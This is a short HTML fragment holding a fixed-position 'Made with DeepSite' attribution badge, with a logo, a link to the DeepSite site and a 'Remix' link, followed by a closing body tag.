<p style="border-radius: 8px; text-align: center; font-size: 12px; color: #fff; margin-top: 16px;position: fixed; left: 8px; bottom: 8px; z-index: 10; background: rgba(0, 0, 0, 0.8); padding: 4px 8px;">Made with <img src="https://enzostvs-deepsite.hf.space/logo.svg" alt="DeepSite Logo" style="width: 16px; height: 16px; vertical-align: middle;display:inline-block;margin-right:3px;filter:brightness(0) invert(1);"><a href="https://enzostvs-deepsite.hf.space" style="color: #fff;text-decoration: underline;" target="_blank" >DeepSite</a> - 🧬 <a href="https://enzostvs-deepsite.hf.space?remix=capta1n/bas" style="color: #fff;text-decoration: underline;" target="_blank" >Remix</a></p></body>
|